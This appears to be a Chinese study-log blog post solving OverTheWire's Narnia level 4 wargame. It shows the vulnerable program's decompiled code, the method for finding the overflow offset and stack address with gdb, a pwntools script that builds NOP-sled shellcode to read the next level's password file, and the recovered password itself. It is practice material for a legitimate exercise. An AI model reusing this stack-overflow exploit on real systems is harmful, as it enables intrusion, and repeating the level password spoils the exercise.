1625-5 王子昂 总结《2017年8月29日》 【连续第330天总结】
A. WarGames- Narnia4
B.

Level 4

int __cdecl main(int argc, const char **argv, const char **envp)
{size_t v3; // eax@2int v5; // [sp+1Ch] [bp-104h]@5int i; // [sp+11Ch] [bp-4h]@1for ( i = 0; *(_DWORD *)(4 * i + environ); ++i ){v3 = strlen(*(const char **)(4 * i + environ));memset(*(void **)(4 * i + environ), 0, v3);}if ( argc > 1 )strcpy((char *)&v5, argv[1]);return 0;
}

environ是库中定义的环境变量指针
源程序的作用为先清空所有环境变量再将参数1Copy至局部变量v5中

这算是一个反提示吧,level2可以通过将ShellCode放在环境变量中的方式来call
不过同样也需要debug才能获得地址,所以我觉得两种call没啥区别啊

与level2同样方法,吸取地址会改变的教训,直接本地生成ShellCode后复制到远端执行,通过gdb得到esp地址后重新生成ShellCode溢出得到password即可

生成脚本为:

payload = asm(shellcraft.linux.cat('/etc/narnia_pass/narnia5'))
offset = (0x110 - len(payload)) * '\\x90'
payload ="".join(["\\x%02x" % ord(i) for i in payload+p32(0xffffd810)])
shellcode = ''' $(python -c 'print "''' + offset + payload + '''"')'''
print(shellcode)

其中,offset的长度为计算得到:由反编译可知v5位置为bp-0x104,但由于编译器优化时进行了对齐,因此可以先给出一个超长的offset(例如0x150,不过由于对齐通常只偏差小于16字节的长度,因此给出0x104+4+16即可),通过返回地址的错误值算出返回地址的位置
ffffd810为在gdb中debug得到局部变量v5的地址,通过NOP sled可以降低精度要求

运行得到password:

faimahchiy

C. 明日计划
Narnia5

170829 WarGames-Narnia(4)相关推荐

  1. 170902 WarGames-Narnia(8)

    1625-5 王子昂 总结<2017年9月2日> [连续第334天总结] A. WarGames-Narnia B. Level 8 int __cdecl func(int a1) {c ...

  2. OpenAPI使用(swagger3),Kotlin使用swagger3,Java使用swagger3,gradle、Maven使用swagger3

    OpenAPI使用(swagger3) demo见Gitte 一.背景及名词解释 OpenAPI是规范的正式名称.规范的开发工作于2015年启动,当时SmartBear(负责Swagger工具开发的公 ...

  3. 2022-2028年中国第五代移动通信技术(5G)市场研究及前瞻分析报告

    [报告类型]产业研究 [报告价格]4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国第五代移动通信技术(5G)行业市场行业相 ...

  4. 2021-2027全球与中国经颅磁刺激仪(TMS)市场现状及未来发展趋势

    [报告类型]产业研究 [报告价格]¥4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了全球与中国经颅磁刺激仪(TMS)行业市场行 ...

  5. Go 学习笔记(84)— Go 项目目录结构

    1. 目录规范 一个好的目录结构至少要满足以下几个要求. 命名清晰:目录命名要清晰.简洁,不要太长,也不要太短,目录名要能清晰地表达出该目录实现的功能,并且目录名最好用单数.一方面是因为单数足以说明这 ...

  6. Redis 笔记(16)— info 指令和命令行工具(查看内存、状态、客户端连接数、监控服务器、扫描大key、采样服务器、执行批量命令等)

    Info 命令返回关于 Redis 服务器的各种信息和统计数值.通过给定可选的参数 section ,可以让命令只返回某一部分的信息. 1. 显示模块 server : 一般 Redis 服务器信息, ...

  7. Redis 笔记(12)— 单线程架构(非阻塞 IO、多路复用)和多个异步线程

    Redis 使用了单线程架构.非阻塞 I/O .多路复用模型来实现高性能的内存数据库服务.Redis 是单线程的.那么为什么说是单线程呢? Redis 在 Reactor 模型内开发了事件处理器,这个 ...

  8. Redis 笔记(10)— 发布订阅模式(发布订阅单个信道、订阅信道后的返回值分类、发布订阅多个信道)

    1. 发布-订阅概念 发布-订阅 模式包含两种角色,分别为发布者和订阅者. 订阅者可以订阅一个或者若干个频道(channel): 而发布者可以向指定的频道发送消息,所有订阅此频道的订阅者都可以收到此消 ...

  9. Redis 笔记(08)— 事务(一次执行多条命令、命令 watch/multi/exec/discard、错误处理)

    1. 事务概念 Redis 中的事务 (transaction)是一组命令的集合.事务同命令一样是 Redis 的最小执行单位,一个事务中的命令要么都执行,要么都不执行.事务的原理是先将属于一个事务的 ...

  10. Redis 笔记(07)— sorted set 类型(添加、删除有序集合元素、获取分数范围内成员、按score排序、返回集合元素个数)

    zset 可能是 Redis 提供的最为特色的数据结构,一方面它是一个 set,保证了内部 value 的唯一性,另一方面它可以给每个 value 赋予一个 score,代表这个 value 的排序权 ...

最新文章

  1. 讨论是学习最有效的方法
  2. 字符设备驱动笔记(一)
  3. 【信息抽取】如何使用卷积神经网络进行关系抽取
  4. Java黑皮书课后题第5章:*5.43(数学:组合)编写程序,显示从整数1到7中选择两个数字的所有组合,同时显示所有组合的总个数
  5. 老司机实战Windows Server Docker:3 单节点Windows Docker服务器简单运维(上)
  6. Python Pandas –操作
  7. Node.js package.json
  8. 2020-5-13从0在mac上搭载SSM新闻网站项目
  9. 利用varnish构建httpd缓存服务器
  10. 二维凸包(模板) hdu 1348 求凸包的周长
  11. win11组策略如何开启自动更新 Windows11组策略开启自动更新的设置方法
  12. vagrant 的安装与使用
  13. 暗黑3 外挂开发资料
  14. 宇视监控摄像头使用什么工具批量修改IP地址
  15. android访问服务器405,Http 405 错误
  16. Windows10查看本机连接过的WiFi密码
  17. 【Excel】使用宏处理重复操作示例 -- 录制分列操作
  18. Search()函数使用方法
  19. Scala基础知识(个人总结)
  20. c# 正则表达式 Group

热门文章

  1. ASM学习笔记2 - 类的创建和修改 —— ClassWriter的综合应用
  2. ubuntu 下 开启无线网卡的monitor mode
  3. 【Excel】如何给Excel表格(文档)加密/上锁
  4. 对SD卡,EMMC容量的检查
  5. 那十月,我们一起追过的c++代码
  6. 7-1 统计工龄分数
  7. Vue的demo-踩坑
  8. LVI-SAM 在香港城市数据集UrbanNav的效果
  9. 「PS-CC2019新版教程」仿制图章工具,仿造一个你
  10. 百度、阿里、腾讯 40 道面试题超全面总结